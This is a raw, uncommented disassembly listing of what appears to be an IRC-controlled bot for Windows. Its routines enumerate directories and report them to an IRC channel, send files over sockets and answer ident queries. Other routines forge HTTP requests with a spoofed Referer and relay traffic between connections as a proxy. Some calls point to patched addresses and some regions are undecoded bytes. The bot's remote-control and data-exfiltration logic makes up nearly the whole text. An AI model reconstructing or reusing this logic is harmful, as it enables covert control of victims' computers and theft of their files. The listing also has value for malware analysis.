XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 25D0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 27703A4h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 2770000h nop lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 27608D0h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429A94 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h nop call near ptr 2680000h loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 27703A4h test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] nop call near ptr 2760000h cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 271091Eh nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx call near ptr 2750C23h nop cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:004380F0o ; ___:00438104o jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 2780000h nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2710000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CB674 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CB5B8 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx nop call near ptr 2660843h loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB594 push 6 push 1 push 2 call dword_4CB6A4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CB624 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB5CC cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D7D8 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CB674 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CB63C pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB6BC call dword_4CB57C lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CB624 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CB6A4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43E56C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CB650 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CB64C cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB6B8 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB6B0 push eax lea eax, [ebp-238h] push offset dword_434654 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CB63C cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CB674 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CB5B8 push eax lea eax, [ebp-238h] push offset dword_434610 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB6BC push dword ptr [ebp-4] call dword_4CB6BC push dword ptr [ebp+8] call sub_40B412 pop ecx push esi nop call near ptr 26E0A61h pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CB624 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CB6A4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E56C[ecx], eax call dword_4CB534 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CB650 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CB64C test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB6B8 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB6B0 push eax lea eax, [ebp-350h] push offset unk_4346BC push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43E564[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi ; --------------------------------------------------------------------------- db 0E8h, 0BEh, 0FBh dd 8B900226h, 0C969C44Dh, 234h, 8189C63Bh, 43E574h, 75391374h dd 63850FD0h, 6AFFFFFFh, 1E89032h, 0EB0226FBh, 28E890EDh dd 50022703h, 43468068h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB6BC push dword ptr [ebp+8] call dword_4CB6BC push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi call near ptr 26E0A61h nop pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CB6A4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CB624 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CB664 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CB6A8 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CB5DC loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CB5CC cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB6B0 push eax lea eax, [ebp-344h] push offset unk_434744 push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43E56C[ebx] mov dword_43E564[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E570[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi nop call near ptr 2680098h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43E574[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h call near ptr 2680000h nop jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CB63C cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CB674 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j nop call near ptr 268082Fh push eax push offset unk_434704 call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43E56C[eax] call dword_4CB6BC push dword ptr [ebp+8] call dword_4CB6BC push dword ptr [ebp-4] call sub_40B412 pop ecx push edi nop call near ptr 26E0A61h pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43E570[esi] call dword_4CB63C test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43E56C[esi] call dword_4CB674 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43E570[esi] call dword_4CB6BC push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- movsd add ch, ds:5E5F9002h push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43E56C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CB60C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB6BC push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26E0A61h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CB63C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CB578 test eax, eax jz short loc_4108BC call dword_4CB5B8 push eax push offset unk_43481C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi nop call near ptr 26E0A61h loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CB5DC cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB6B0 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D7D8 push dword ptr [esi] call dword_4CB674 cmp dword_4CE388, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CB674 push dword ptr [esi] call dword_4CB6BC push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26E0A61h loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4347E0 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D call near ptr 268082Fh nop push eax push offset unk_4347B4 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx nop call near ptr 26E0A61h loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434788 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi nop call near ptr 26E0A61h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB63C cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB63C cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_434848 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_434874 call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 9415FF00h, 33004CB5h, 74C63BF6h, 0E468501Dh, 0E8004349h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0FFBBE890h dd 6857022Ch, 410CCBh, 36FFAEE8h, 0C0859002h, 0E8902975h dd 226FD73h, 49A06850h, 59E80043h, 59000047h, 7C15FF59h dd 0FF004CB5h, 3BE8B475h, 59FFFFA9h, 82E89057h, 53022CFFh dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0B62415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CB6A4h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43E56Ch, 50E0458Dh dd 5015FF53h, 85004CB6h, 17850FC0h, 68000001h, 7FFFFFFFh dd 4C15FF53h, 85004CB6h, 3850FC0h, 68000001h, 434964h dd 